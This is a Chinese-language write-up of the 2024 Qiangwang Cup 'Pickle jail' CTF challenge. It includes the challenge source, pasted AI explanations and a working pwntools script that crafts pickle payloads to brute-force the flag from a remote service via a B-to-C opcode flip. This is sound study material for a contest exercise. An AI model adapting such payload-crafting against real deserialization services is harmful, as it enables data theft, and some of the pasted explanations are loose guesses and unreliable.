2024强网杯-Misc-Pickle jail
2024强网杯-Misc-Pickle jail
第一次遇到jail类型的题目,而且还是在大赛上,并且还是这么难的情况,努力理解复现吧。
附件😣😰🥹:
pickle_jail.py 的文件
#!/usr/local/bin/python
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time
from faker import Faker
Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()
def print(_):
stdout.buffer.write(f"{_}\n".encode())
stdout.buffer.flush()
def input(_=None, limit: int = -1):
if _:
print(_)
_ = stdin.buffer.readline(limit)
stdin.buffer.flush()
return _
def bye(_):
print(_)
_exit(0)
players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()
assert name not in players, "You are already joined!"
print(f"Welcome {name}!")
players.append(name)
biox = BytesIO()
Pickler(biox).dump(
(
name,
players,
flag,
)
)
data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF
del name, players, flag
biox.close()
stderr.close()
try:
safe_dic = {
"__builtins__": None,
"n": BytesIO(data),
"F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
}
name, players, _ = eval("F(n).load()", safe_dic, {})
if name in players:
del _
print(f"{name} joined this game, but here is no flag!")
except Exception:
print("What happened? IDK...")
finally:
bye("Break this jail to get the flag!")
分析附件:
一上来这个代码就给我看懵了,对于python基本功不是很扎实的我,没看懂逻辑,一边拿ai一边分析。
记录几个点:
sys.stdout 和 sys.stdout.buffer
def print(_):
stdout.buffer.write(f"{_}\n".encode())
stdout.buffer.flush()
sys.stdout 和 sys.stdout.buffer 提供了两种不同层次的接口来与标准输出(通常是终端或命令行界面)进行交互:
- sys.stdout (文本模式) 类型:这是一个文本文件对象 (io.TextIOWrapper)。 用途:用于处理基于字符的输入输出操作。当你通过 print() 函数或者直接写入 sys.stdout 时,你实际上是在与这个文本文件对象打交道。 编码/解码:在写入数据时,Python 会根据指定的编码(默认为 UTF-8)自动将字符串转换为字节序列;读取数据时则相反,它会将字节序列解码回字符串。 换行符处理:文本模式下的文件对象还会处理换行符的转换。例如,在Windows平台上,\n 会被替换为 \r\n。 示例 import sys
写入文本到标准输出
sys.stdout.write(“Hello, world!\n”) 在这个例子中,“Hello, world!\n” 是一个字符串,它被发送到标准输出,并且 \n 被正确地解释为换行符。
- sys.stdout.buffer (二进制模式) 类型:这是一个二进制文件对象 (io.BufferedWriter)。 用途:允许你绕过 Python 的文本编码和解码机制,直接写入原始的字节数据。这对于需要精确控制输出格式或处理非文本数据的情况非常有用。 编码/解码:由于它是二进制模式,所以不会自动执行任何编码或解码操作。你需要自己负责确保写入的数据是以正确的格式表示的。 换行符处理:二进制模式不会对换行符做任何特殊处理,所有字节都会按原样写入。 示例 import sys
写入字节数据到标准输出
sys.stdout.buffer.write(b"Hello, world!\n") 这里,b"Hello, world!\n" 是一个字节串,它包含实际的字节值而不是字符。注意前缀 b 表示这是一个字节串,而不是普通的字符串。
总结 sys.stdout:适合于常规的文本输出,Python 会帮你处理编码和换行符等细节。 sys.stdout.buffer:适合于需要直接写入字节数据的场景,比如发送二进制数据或使用特定的编码方式而不依赖于Python的默认行为。 选择哪一个取决于你的具体需求。如果你只是想打印一些信息给用户看,通常使用 sys.stdout 或者更简单的 print() 函数就足够了。但如果你需要更细粒度的控制,比如实现自定义的日志记录格式、发送网络消息或者其他形式的二进制通信,则可能需要用到 sys.stdout.buffer。
data[num] += 1 data[num] %= 0xFF
data[num] += 1
:将data
中索引为num
的字节增加1。data[num] %= 0xFF
:确保修改后的值仍然是一个有效的字节(0到255之间)。这是因为字节的最大值是255(即0xFF
),所以使用模运算% 0xFF
来保证结果不超过这个范围。实际上,对于字节来说,通常使用% 256
或者% 0x100
更为准确,因为% 0xFF
实际上是% 255
,这可能会导致不同的行为。
沙箱
safe_dic = { “builtins”: None, “n”: BytesIO(data), “F”: type(“f”, (Unpickler,), {“find_class”: lambda *_: “H4cker”}), }
_builtins__
设置为 None
的意图是限制 eval()
或其他类似函数的执行环境,防止它们访问 Python 的内置函数(如 open
, exec
, eval
等),从而减少潜在的安全风险。
ambda *_: "H4cker"
中,*
和 _
的组合表示:
\*
:收集所有位置参数并将其作为一个元组传递给函数体。这允许你创建一个能够接收任意数量参数的函数。_
:这是一个约定俗成的名字,用来表示“不关心”或“无用”的变量。它表明这些参数在这个上下文中不会被使用。
因此,*_
意味着这个匿名函数可以接收任意数量的位置参数,但它们都将被忽略,因为函数体并不使用这些参数。
type("f", (Unpickler,), {...})
:动态创建了一个名为 f
的新类,继承自 Unpickler
。
"find_class": lambda \*_: "H4cker"
:为新类添加了一个名为 find_class
的方法,该方法由一个匿名函数实现。这个匿名函数接受任意数量的位置参数(通过 *_
),但总是返回字符串 "H4cker"
。
python中的eval()
eval(expression, globals=None, locals=None) 函数用于执行一个字符串表达式,并返回表达式的值。它接受三个参数:
expression:要执行的字符串表达式。
globals(可选):一个字典,表示全局命名空间。如果提供,它指定了可用的全局变量和函数。如果没有提供,则使用当前作用域的全局命名空间。
locals(可选):一个映射对象(通常是字典),表示局部命名空间。如果提供,它指定了可用的局部变量和函数。如果没有提供,则使用当前作用域的局部命名空间。
对应题目就是
"F(n).load()":这是要执行的字符串表达式,意图是调用自定义 Unpickler 类 F 的 load 方法来反序列化数据。
safe_dic:这是一个字典,作为全局命名空间传递给 eval()。safe_dic 包含了对内置函数和其他可能危险的功能的限制,意图是创建一个受限的执行环境。
{}:这是一个空字典,作为局部命名空间传递给 eval()。这意味着在执行表达式时,没有额外的局部变量或函数可以被访问。这进一步限制了表达式可以做的事情,因为它不能依赖于任何局部上下文。
name, players, _ = eval(“F(n).load()”, safe_dic, {})
这行代码试图从 eval()
的结果中解包三个值:name
, players
, 和 _
。
- 潜在问题:
- 如果
eval()
执行失败或返回的结果不符合预期(例如不是包含三个元素的可迭代对象),那么这里会抛出一个ValueError
。 - 使用
eval()
来执行不受信任的代码是非常危险的行为,可能会导致任意代码执行漏洞。
- 如果
以上就是对附件的基本了解,说实话依旧没有任何思路
这里引用本题出题人师傅woodwhale的思路
解题思路
通过简单分析 pickle_jail.py 的源码,可以发现输入输出是使用 stdin.buffer
和 stdout.buffer
完成的,这个 buffer
输入和输出都是用bytes
类型的数据,题目的流程如下:
- 随机生成 50 个虚拟英文名称,并装入
players
数组中 - 让用户输入不超过 300 长度的
name
,⚠️注意:类型是bytes
- 将
name
存入players
中 - 将
(name, players, flag)
这个三元组pickle
序列化 - 有一次机会让数组序列化后的
bytearray
的指定下标的数值+1
Unpickler
反序列化之前的三元组,但是重写了Unpickler.find_class
- 判断
if name in players
这题的预期解是侧信道,解法有两种,先给其中一种 exp 再做分析。
侧信道
第一次了解,这里粘贴一下ai的解释
侧信道攻击(Side-Channel Attack)是一种通过分析系统在运行过程中泄露的物理信息(如时间、功耗、电磁辐射等)来获取敏感信息的攻击方式。与传统的基于软件或协议漏洞的攻击不同,侧信道攻击利用的是系统的实现细节和物理特性。
侧信道攻击的基本概念
侧信道攻击的核心思想是,即使一个系统在逻辑上是安全的,其物理实现过程中的某些特征也可能泄露有价值的信息。攻击者通过仔细观察和分析这些特征,可以推断出系统内部的状态或秘密数据。常见的侧信道攻击类型包括:
- 时间分析:通过测量操作完成所需的时间来推断信息。例如,加密算法中不同的密钥可能需要不同的时间来处理,这可以用来推测密钥的一部分。
- 功率分析:通过监测设备在执行特定操作时的功耗变化来获取信息。例如,AES 加密的不同轮次可能会有不同的功耗模式,攻击者可以通过分析这些模式来恢复密钥。
- 电磁泄漏:通过捕捉设备在工作时发出的电磁辐射来获取信息。某些高频信号可以直接反映内部计算状态。
- 声学分析:通过监听设备发出的声音(如硬盘寻道声、键盘敲击声)来获取信息。
- 错误注入:通过引入硬件故障或异常情况(如电压波动、温度变化)来触发非预期行为,并从中获取信息。
- 缓存攻击:通过分析内存缓存的访问模式来获取信息。例如,Flushing and Reloading 攻击利用共享缓存来监视另一个进程的数据访问模式。
应用场景
侧信道攻击广泛应用于攻击各种加密系统、智能卡、嵌入式设备和其他涉及敏感数据处理的硬件。它们特别适用于那些看似逻辑上安全但物理实现存在弱点的系统。
示例
时间分析攻击 AES
假设你有一个 AES 加密系统,其中部分子程序的执行时间取决于密钥的具体值。攻击者可以通过多次测量加密操作所需的时间,并统计分析这些时间差异,最终推断出部分或全部密钥信息。
功率分析攻击 RSA
在 RSA 解密过程中,私钥的操作会导致功耗的变化。攻击者可以使用高精度的功耗测量工具,在解密过程中记录功耗曲线,然后通过相关性分析来恢复私钥。
如何防御侧信道攻击
- 物理隔离:确保敏感操作在一个完全受控且隔离的环境中进行,减少外部可探测的信息泄露。
- 恒定时间算法:设计和实现不依赖于秘密数据的执行路径长度的算法,使得每次执行的时间相同。
- 随机化:在加密操作中引入随机性,使得同样的输入每次产生不同的输出模式,从而混淆攻击者的分析。
- 屏蔽和过滤:对设备进行物理上的屏蔽,减少电磁泄漏;或者使用滤波器去除不必要的信号。
- 多层保护:结合多种防护措施,增加攻击难度。
结合你的代码情景
如果题目提到“预期解是侧信道”,那么很可能是在暗示你需要考虑代码执行过程中可能泄露的信息。例如:
- 时间分析:如果你的代码在不同条件下执行的时间不同,攻击者可能通过测量这些时间差异来推断出一些秘密信息。
- 缓存攻击:如果你的代码频繁访问某些特定内存位置,攻击者可能通过分析缓存命中或未命中的情况来获取信息。
为了防止这类攻击,你可以采取措施使代码的执行时间和内存访问模式尽可能一致,避免因为秘密数据的不同而导致的行为差异。
总之,侧信道攻击是一类复杂的攻击手段,它要求攻击者具备深入理解目标系统的物理特性和实现细节的能力。对于开发者来说,意识到潜在的侧信道风险并采取适当的防御措施是非常重要的。
exp:
一些给的题目给的信息
Python 3.10 的 alpine 镜像 + Faker 随机生成数据的一个库,并且为了减少爆破次数 flag 的格式也告诉了是
flag{UUID4}
UUID4 是一种基于随机数生成的通用唯一标识符(Universally Unique Identifier, UUID)。UUID 是一种128位的值,广泛用于为信息对象创建唯一的标识符。UUID4 特指使用随机数算法生成的 UUID,它是四种主要版本的 UUID 之一(其他版本包括时间戳、名称空间和散列等)。
一个 UUID 通常表示为由连字符分隔的32个十六进制数字:
123e4567-e89b-12d3-a456-426614174000
这32个字符可以分为五个部分,格式如下:
xxxxxxxx-xxxx-Mxxx-xxxx-xxxxxxxxxxxx
其中 M 表示 UUID 的版本号,对于 UUID4 来说,这个位置固定为 4。
分析一下师傅给的exp
from string import ascii_lowercase, digits
from pwn import context, p32, process, remote
DEBUG = False
context.log_level = "debug" if DEBUG else "error"
HOST, PORT = "127.0.0.1", 5000
flag = "flag{"
str_set = "-" + ascii_lowercase + digits
while len(flag) != 41:
print("flag:", flag)
for i in str_set:
print("try", i)
io = (
process("python3 ./pickle_jail.py", shell=True)
if DEBUG
else remote(HOST, PORT)
)
io.recvuntil(b"Play this game to get the flag with these players: ")
players = io.recvline(keepends=False).strip().strip(b"!")
players = eval(players.decode())
tmp_flag = flag + i
tmp_flag_len = len(tmp_flag)
if tmp_flag_len == 10: # 不可为 10 即 \n, 否则会被 input 截断
tmp_flag = flag[1:] + i
tmp_flag_len = len(tmp_flag)
payload = b"C"
payload += bytes([tmp_flag_len])
payload += tmp_flag.encode()
pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
payload += b"B" + p32(pad)
payload = payload.ljust(0x103, b"\xff")
io.sendlineafter(b"What's your name?", payload)
io.sendafter(b"win: ", bytes([11]))
data = io.recvuntil(b"flag!")
if b"joined" in data and tmp_flag.encode() in data:
flag += i
io.close()
break
io.close()
print(f"Flag is : {flag+'}'}")
认识一下pwn库
from pwn import context, p32, process, remote
pwn库
pwn
是一个强大的Python库,专门用于开发和执行渗透测试工具、编写漏洞利用代码(exploits)以及进行二进制安全研究。它提供了丰富的功能来简化与进程、网络连接、格式化字符串漏洞、缓冲区溢出等相关的操作。下面是对你提到的几个具体函数和模块的详细介绍:
context
context
模块用于设置和获取当前的上下文环境配置。这些配置可以影响 pwntools
中其他模块的行为,例如如何解释地址、使用哪种架构或操作系统等。
常用属性:
context.arch
:指定目标程序的架构(如i386
,amd64
,arm
,aarch64
等)。context.os
:指定目标的操作系统(如linux
,windows
等)。context.endian
:指定字节序(如little
,big
)。context.bits
:指定目标架构的位数(如32
,64
)。context.log_level
:控制日志输出的详细程度(如debug
,info
,warn
,error
)。
示例:
from pwn import context
# 设置日志级别为 debug
context.log_level = 'debug'
# 设置目标架构为 64 位 Linux
context.update(arch='amd64', os='linux')
p32
p32
函数用于将一个整数转换为 32 位小端字节序的字节数组。这对于构建特定格式的有效载荷非常有用,尤其是在处理缓冲区溢出或其他低级漏洞时。
示例:
from pwn import p32
# 将整数 0xdeadbeef 转换为 32 位小端字节序
payload = p32(0xdeadbeef)
print(payload) # 输出: b'\xef\xbe\xad\xde'
process
process
函数用于启动本地进程并与之交互。它可以方便地与命令行工具或自定义编写的程序进行通信,适用于开发和测试漏洞利用代码。
参数:
argv
:要执行的命令及其参数,可以是字符串或列表。shell=True/False
:是否通过 shell 执行命令,默认为False
。env
:传递给子进程的环境变量。stdin
,stdout
,stderr
:指定标准输入、输出和错误流。
示例:
from pwn import process
# 启动一个本地进程
p = process(['cat'])
# 发送数据到标准输入
p.sendline(b'Hello, world!')
# 接收并打印输出
print(p.recvline()) # 输出: b'Hello, world!\n'
remote
remote
函数用于创建一个到远程服务器的TCP连接,并提供类似文件对象的方法来进行读写操作。这在攻击远程服务或参与CTF竞赛时特别有用。
参数:
host
:目标主机的IP地址或域名。port
:目标主机上的端口号。ssl=True/False
:是否使用SSL/TLS加密,默认为False
。timeout
:连接超时时间。
示例:
from pwn import remote
# 连接到远程服务器
r = remote('example.com', 1234)
# 发送数据到服务器
r.sendline(b'GET / HTTP/1.1')
# 接收并打印响应
print(r.recvuntil(b'\r\n\r\n')) # 输出: HTTP响应头
# 关闭连接
r.close()
总结
context
:用于设置和获取当前上下文环境配置,影响其他模块的行为。p32
:将整数转换为 32 位小端字节序的字节数组,常用于构建有效载荷。process
:启动本地进程并与之交互,适用于开发和测试漏洞利用代码。remote
:创建一个到远程服务器的TCP连接,支持读写操作,常用于攻击远程服务或参与CTF竞赛。
这些工具共同构成了 pwntools
库的核心功能,使得开发者能够更高效地进行二进制安全研究和漏洞利用开发。
代码分析
str_set = “-” + ascii_lowercase + digits
字符集:str_set 包含所有可能的字符,包括连字符、小写字母和数字,用于尝试构建完整的标志。
while len(flag) != 41:
'flag{' 五个字符 + 32 + 4 =41
io.recvuntil(b"Play this game to get the flag with these players: “) players = io.recvline(keepends=False).strip().strip(b”!") players = eval(players.decode())
这段代码展示了如何通过网络或本地进程与一个服务进行交互,接收并处理特定格式的数据。
recvuntil() 方法:这个方法从 io 对象(可能是 process 或 remote 对象)中读取数据,直到遇到指定的字符串(这里是 b"Play this game to get the flag with these players: ")。它会返回所有接收到的数据,包括终止字符串。
作用:确保在发送有效载荷之前,已经收到了预期的提示信息。这有助于同步客户端和服务端之间的通信。
recvline() 方法:这个方法读取一行数据(以换行符 \n 结尾),并可以选择是否保留结尾的换行符。这里的 keepends=False 参数表示不保留换行符。
strip() 方法:去除字符串两端的空白字符(如空格、制表符等)。这里使用了两次 strip():
第一次去掉空白字符。
第二次去掉字符串两端的 ! 字符(假设服务端输出格式为 players: [list]!)。
作用:提取并清理玩家列表的字符串表示形式,以便后续处理。
decode() 方法:将字节串转换为字符串(默认使用 UTF-8 编码)。
eval() 函数:执行传入的字符串作为 Python 表达式,并返回表达式的值。在这里,eval() 用来解析并评估玩家列表的字符串表示形式,将其转换为实际的 Python 数据结构(如列表)。
作用:将字符串形式的玩家列表转换为 Python 的列表对象,方便后续逻辑操作。
if tmp_flag_len == 10: # 不可为 10 即 \n, 否则会被 input 截断 tmp_flag = flag[1:] + i tmp_flag_len = len(tmp_flag)
- 换行符的影响:
- 在许多操作系统中,换行符
\n
通常表示一个完整的输入行结束。如果tmp_flag
的长度恰好为 10,并且服务端代码使用了input()
或类似函数来读取输入,那么这个长度可能正好对应于一个换行符的位置。
- 在许多操作系统中,换行符
为了避免上述问题,代码中采取了一种调整策略,当 tmp_flag 的长度为 10 时,去除第一个字符并添加当前尝试的字符 i
payload = b"C" payload += bytes([tmp_flag_len]) payload += tmp_flag.encode() pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len payload += b"B" + p32(pad) payload = payload.ljust(0x103, b"\xff")
- 构建有效载荷:创建一个包含特定格式的数据包
payload
,用于发送给服务端。- 开头用字符
C
标记。 - 接着是
tmp_flag
的长度。 - 然后是
tmp_flag
的编码形式。 - 计算填充长度
pad
并将其添加到payload
中。 - 最后使用
\xff
字节填充至固定长度0x103
。
- 开头用字符
细化
3 * len(players):每个玩家的名字可能需要额外的固定开销(例如,每个玩家名字前后的分隔符或其他结构化信息)。假设每个玩家名字前后各有一个字节的分隔符,那么总开销就是 3 * len(players)。
sum(map(len, players)):计算所有玩家名字的总长度。map(len, players) 对 players 列表中的每个元素调用 len() 函数,并返回一个迭代器,sum() 则对这些长度求和。
302:这是一个固定的偏移量或常数,可能是为了确保整个有效载荷达到某个特定的总长度。这个值的具体含义取决于服务端的实现细节,通常是为了对齐某些边界条件或满足特定协议要求。
- tmp_flag_len:减去 tmp_flag 的长度,以确保最终的 pad 值是剩余需要填充的字节数。
pad:最终计算出的填充长度。
p32(pad):将 pad 转换为 32 位小端字节序的字节数组。p32 是 pwntools 库中的一个函数,专门用于这种转换。这一步骤可能是为了告知服务端后续需要多少个填充字节。
ljust(0x103, b"\xff"):将 payload 左对齐并填充至长度为 0x103 字节,不足的部分用 \xff(即 255)填充。这样做是为了确保发送的数据包具有固定的长度,这对于某些协议或漏洞利用来说非常重要。
io.sendlineafter(b"What’s your name?", payload)
-
sendlineafter()
方法:这个方法用于在接收到指定提示信息后发送一行数据。它会等待直到遇到b"What's your name?"
字符串,然后发送payload
并自动添加换行符\n
。 -
作用:确保在正确的时间点发送有效载荷,避免因过早或过晚发送而导致通信不同步。
io.sendafter(b"win: “, bytes([11]))
sendafter()
方法:这个方法用于在接收到指定提示信息后立即发送数据,但不会自动添加换行符。bytes([11])
:发送一个包含单个字节11
的字节数组。这可能是为了满足服务端某种特定的输入要求,例如确认某个状态或触发某些逻辑。- 作用:发送额外的数据以完成交互过程,确保所有必要的输入都已提供给服务端。
data = io.recvuntil(b"flag!”)
recvuntil()
方法:这个方法读取数据,直到遇到指定字符串(这里是b"flag!"
),并返回所有接收到的数据,包括终止字符串。- 作用:获取服务端的响应,特别是包含标志信息的部分,以便后续分析。
if b"joined" in data and tmp_flag.encode() in data:
flag += i
io.close()
break
- 条件检查
b"joined" in data
:检查服务端响应中是否包含字符串joined
,这可能表示玩家成功加入了游戏。tmp_flag.encode() in data
:检查服务端响应中是否包含当前猜测的tmp_flag
字符串。通过编码为字节串来进行比较,确保与接收的数据格式一致。
- 逻辑处理
- 如果上述两个条件都满足,则认为当前猜测的字符是正确的,将其添加到
flag
中。 - 关闭连接并跳出循环,继续尝试下一个字符。
- 如果上述两个条件都满足,则认为当前猜测的字符是正确的,将其添加到
io.close()
- 关闭连接:无论是否成功找到正确的字符,都会关闭与服务端的连接,释放资源。
print(f"Flag is : {flag+’}’}")
- 输出完整标志:当循环结束时,打印完整的标志字符串。这里假设标志的结尾是
}
,因此在最终输出时添加了一个右花括号。
细化思路
发送有效载荷:
首先等待服务端提示 What's your name?,然后发送精心构造的 payload。这一步是为了确保每次发送的有效载荷都在正确的上下文中被处理。
发送额外数据:
接着发送一个额外的字节 [11] 来完成交互。这可能是为了确认某种状态或触发服务端的下一步操作。
接收响应:
读取服务端的响应,直到遇到 flag! 提示。这样可以确保获取到包含标志信息的部分响应。
检查条件:
检查服务端响应中是否包含 joined 和当前猜测的 tmp_flag。如果两者都存在,则认为当前猜测的字符是正确的,更新 flag 并结束本轮尝试。
关闭连接:
不论是否找到正确的字符,都关闭与服务端的连接,确保资源得到及时释放。
输出结果:
当所有字符都被成功猜出后,打印完整的标志字符串。
整理:
由附件可以知道无法引用python内置类进行rce之类的操作。然后回显点有print(name) ,而name又是可控的。所以关注点自然要放到利用name导出flag。
这个data = bytearray(biox.getvalue()),包含name,players,flag 。而且players.append(name),players中有有name在结尾。
name, players, _ = eval(“F(n).load()”, safe_dic, {}),这里将反序列化的值,分别复制。很自然的就想到利用让flag出现在name中
data[num] += 1 data[num] %= 0xFF
这两个就是突破口。
这里需要知道个特性,也是其中一中解法的核心,也就是如何控制name的核心。
proto 是 4 的版本,其次这个SHORT_BINBYTES,查看 pickle 的源代码,在Protocol 3 的部分可以看到 C 的定义,小于 256 字节的 bytes 都是用 C 进行序列化的。形如:C\x03aaa(注意是b’aaa')
当大于256大于256字节将会是B进行序列化,而且长度识别是四个字节表示,形如:B\x00\x00\x00\x00 超过256字节的字节串
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
核心
B和C的ascii码就只相差1,结合附件的data[num] += 1,便可以实现B—>C的变化,从而引起,我们写的name长度远大于变化后能序列化的长度。也就造成了类似php反序列化逃逸的这种感觉。题目预期是我们输一个正常的name,然后C序列化,把这个名字加入players,然后判断name在不在players中,在就打印这个name并返回一个joined this game, but here is no flag! 。
但是我们让题目本身C序列化变成B序列化,然后B序列化的长度识别是四个字节,而C序列化的长度识别是一个字节。可以让B序列化变成C序列化后,通过变化得来的C序列化,有四个字节(原B序列化长度识别位),自己用一个字节作为长度识别位,然后这个长度识别位刚好是\x03的话,后面的三给字节的数据就会被吃掉。剩下的就是我们B序列化留下的name的具体值,也就是正常题目预期的例如jack的这种名字。但是我们利用了B序列化,所以留下的是超过256个字节的我们提交的name值。
也就是通过name值,构造payload。payload里面的大致思想就是Unpickler
反序列化之前的三元组,name, players, _ = eval(“F(n).load()”, safe_dic, {})。
以及这段代码:
if name in players:
del _
print(f"{name} joined this game, but here is no flag!")
//in 操作符会检查 name 是否作为子串存在于 players 中。
然后进行任意写入data,题目原B序列变C序列,序列化了一个无所谓的值。我们这里就要重新构造name.也就是原题目会有三给对象,而我们会多出一个那给被我们一开始废掉的序列化值(B变C的那个部分)。注意是从栈顶取。所以后面会有个无关紧要的报错就是stack不为空,留下的就是它。
让name等于flag或flag的一部分(我们写脚本爆破),然后players中含有真正的flag{UUID4},这样通过捕获响应信息就知道是否name的flag值是对的。
测试
from pickletools import dis data = bytearray(b'\x80\x04\x95\x14\x02\x00\x00\x00\x00\x00\x00C\x06messir\x94]\x94(C\x07Heather\x94C\x06Sharon\x94C\x06Hannah\x94C\x05Kelli\x94C\x06Teresa\x94C\x06Thomas\x94C\x08Veronica\x94C\x05Susan\x94C\x06Eileen\x94C\x07Kristin\x94C\x0bChristopher\x94C\x08Kristina\x94C\x08Michelle\x94C\x05Bryan\x94C\x05Jerry\x94C\x07Michael\x94C\x06Shelby\x94C\x07Tiffany\x94C\x05Erika\x94C\x06Robert\x94C\x08Courtney\x94C\x06Angela\x94C\x04Erin\x94C\x06Nicole\x94C\x07Jeffrey\x94C\x07Colleen\x94C\x07William\x94C\x06Deanna\x94C\x05James\x94C\x06Stacey\x94C\x05Terri\x94C\x05Sarah\x94C\x06Alicia\x94C\x05Maria\x94C\x06Rickey\x94C\x07Natalie\x94C\x07Richard\x94C\x07Garrett\x94C\x06Amanda\x94C\x05Jason\x94C\x05Tammy\x94C\x04Dana\x94C\x05Jamie\x94C\x04John\x94C\x06Brandi\x94C\tAlejandro\x94C\x08Danielle\x94C\tAlexandra\x94C\x08Brittany\x94C\x07Melissa\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.') dis(data)
看一下pickle序列化字节串的反编译
直接用师傅原本的数据,只是将woodwhale改成messir,\t不变
┌──(root㉿kali)-[~/python]
└─# python pickle_jail.py
0: \x80 PROTO 4
2: \x95 FRAME 532
11: C SHORT_BINBYTES b'messir\x94]\x94' //关键位置
22: ( MARK
23: C SHORT_BINBYTES b'Heather'
32: \x94 MEMOIZE (as 0)
33: C SHORT_BINBYTES b'Sharon'
41: \x94 MEMOIZE (as 1)
42: C SHORT_BINBYTES b'Hannah'
50: \x94 MEMOIZE (as 2)
51: C SHORT_BINBYTES b'Kelli'
58: \x94 MEMOIZE (as 3)
59: C SHORT_BINBYTES b'Teresa'
67: \x94 MEMOIZE (as 4)
68: C SHORT_BINBYTES b'Thomas'
76: \x94 MEMOIZE (as 5)
77: C SHORT_BINBYTES b'Veronica'
87: \x94 MEMOIZE (as 6)
88: C SHORT_BINBYTES b'Susan'
95: \x94 MEMOIZE (as 7)
96: C SHORT_BINBYTES b'Eileen'
104: \x94 MEMOIZE (as 8)
105: C SHORT_BINBYTES b'Kristin'
114: \x94 MEMOIZE (as 9)
115: C SHORT_BINBYTES b'Christopher'
128: \x94 MEMOIZE (as 10)
129: C SHORT_BINBYTES b'Kristina'
139: \x94 MEMOIZE (as 11)
140: C SHORT_BINBYTES b'Michelle'
150: \x94 MEMOIZE (as 12)
151: C SHORT_BINBYTES b'Bryan'
158: \x94 MEMOIZE (as 13)
159: C SHORT_BINBYTES b'Jerry'
166: \x94 MEMOIZE (as 14)
167: C SHORT_BINBYTES b'Michael'
176: \x94 MEMOIZE (as 15)
177: C SHORT_BINBYTES b'Shelby'
185: \x94 MEMOIZE (as 16)
186: C SHORT_BINBYTES b'Tiffany'
195: \x94 MEMOIZE (as 17)
196: C SHORT_BINBYTES b'Erika'
203: \x94 MEMOIZE (as 18)
204: C SHORT_BINBYTES b'Robert'
212: \x94 MEMOIZE (as 19)
213: C SHORT_BINBYTES b'Courtney'
223: \x94 MEMOIZE (as 20)
224: C SHORT_BINBYTES b'Angela'
232: \x94 MEMOIZE (as 21)
233: C SHORT_BINBYTES b'Erin'
239: \x94 MEMOIZE (as 22)
240: C SHORT_BINBYTES b'Nicole'
248: \x94 MEMOIZE (as 23)
249: C SHORT_BINBYTES b'Jeffrey'
258: \x94 MEMOIZE (as 24)
259: C SHORT_BINBYTES b'Colleen'
268: \x94 MEMOIZE (as 25)
269: C SHORT_BINBYTES b'William'
278: \x94 MEMOIZE (as 26)
279: C SHORT_BINBYTES b'Deanna'
287: \x94 MEMOIZE (as 27)
288: C SHORT_BINBYTES b'James'
295: \x94 MEMOIZE (as 28)
296: C SHORT_BINBYTES b'Stacey'
304: \x94 MEMOIZE (as 29)
305: C SHORT_BINBYTES b'Terri'
312: \x94 MEMOIZE (as 30)
313: C SHORT_BINBYTES b'Sarah'
320: \x94 MEMOIZE (as 31)
321: C SHORT_BINBYTES b'Alicia'
329: \x94 MEMOIZE (as 32)
330: C SHORT_BINBYTES b'Maria'
337: \x94 MEMOIZE (as 33)
338: C SHORT_BINBYTES b'Rickey'
346: \x94 MEMOIZE (as 34)
347: C SHORT_BINBYTES b'Natalie'
356: \x94 MEMOIZE (as 35)
357: C SHORT_BINBYTES b'Richard'
366: \x94 MEMOIZE (as 36)
367: C SHORT_BINBYTES b'Garrett'
376: \x94 MEMOIZE (as 37)
377: C SHORT_BINBYTES b'Amanda'
385: \x94 MEMOIZE (as 38)
386: C SHORT_BINBYTES b'Jason'
393: \x94 MEMOIZE (as 39)
394: C SHORT_BINBYTES b'Tammy'
401: \x94 MEMOIZE (as 40)
402: C SHORT_BINBYTES b'Dana'
408: \x94 MEMOIZE (as 41)
409: C SHORT_BINBYTES b'Jamie'
416: \x94 MEMOIZE (as 42)
417: C SHORT_BINBYTES b'John'
423: \x94 MEMOIZE (as 43)
424: C SHORT_BINBYTES b'Brandi'
432: \x94 MEMOIZE (as 44)
433: C SHORT_BINBYTES b'Alejandro'
444: \x94 MEMOIZE (as 45)
445: C SHORT_BINBYTES b'Danielle'
455: \x94 MEMOIZE (as 46)
456: C SHORT_BINBYTES b'Alexandra'
467: \x94 MEMOIZE (as 47)
468: C SHORT_BINBYTES b'Brittany'
478: \x94 MEMOIZE (as 48)
479: C SHORT_BINBYTES b'Melissa'
488: \x94 MEMOIZE (as 49)
489: h BINGET 0
491: e APPENDS (MARK at 22)
492: \x8c SHORT_BINUNICODE 'flag{f0192fd3-f87f-4693-a28d-a6e24766c143}'
536: \x94 MEMOIZE (as 50)
537: \x87 TUPLE3
Traceback (most recent call last):
File "/root/python/pickle_jail.py", line 5, in <module>
dis(data)
File "/usr/lib/python3.11/pickletools.py", line 2535, in dis
raise ValueError("tries to pop %d items from stack with "
ValueError: tries to pop 3 items from stack with only 2 items
这个下面的才是正确的序列化结果
修改\t为\x06
┌──(root㉿kali)-[~/python]
└─# python pickle_jail.py
0: \x80 PROTO 4
2: \x95 FRAME 532
11: C SHORT_BINBYTES b'messir'
19: \x94 MEMOIZE (as 0)
20: ] EMPTY_LIST
21: \x94 MEMOIZE (as 1)
22: ( MARK
23: C SHORT_BINBYTES b'Heather'
32: \x94 MEMOIZE (as 2)
33: C SHORT_BINBYTES b'Sharon'
41: \x94 MEMOIZE (as 3)
42: C SHORT_BINBYTES b'Hannah'
50: \x94 MEMOIZE (as 4)
51: C SHORT_BINBYTES b'Kelli'
58: \x94 MEMOIZE (as 5)
59: C SHORT_BINBYTES b'Teresa'
67: \x94 MEMOIZE (as 6)
68: C SHORT_BINBYTES b'Thomas'
76: \x94 MEMOIZE (as 7)
77: C SHORT_BINBYTES b'Veronica'
87: \x94 MEMOIZE (as 8)
88: C SHORT_BINBYTES b'Susan'
95: \x94 MEMOIZE (as 9)
96: C SHORT_BINBYTES b'Eileen'
104: \x94 MEMOIZE (as 10)
105: C SHORT_BINBYTES b'Kristin'
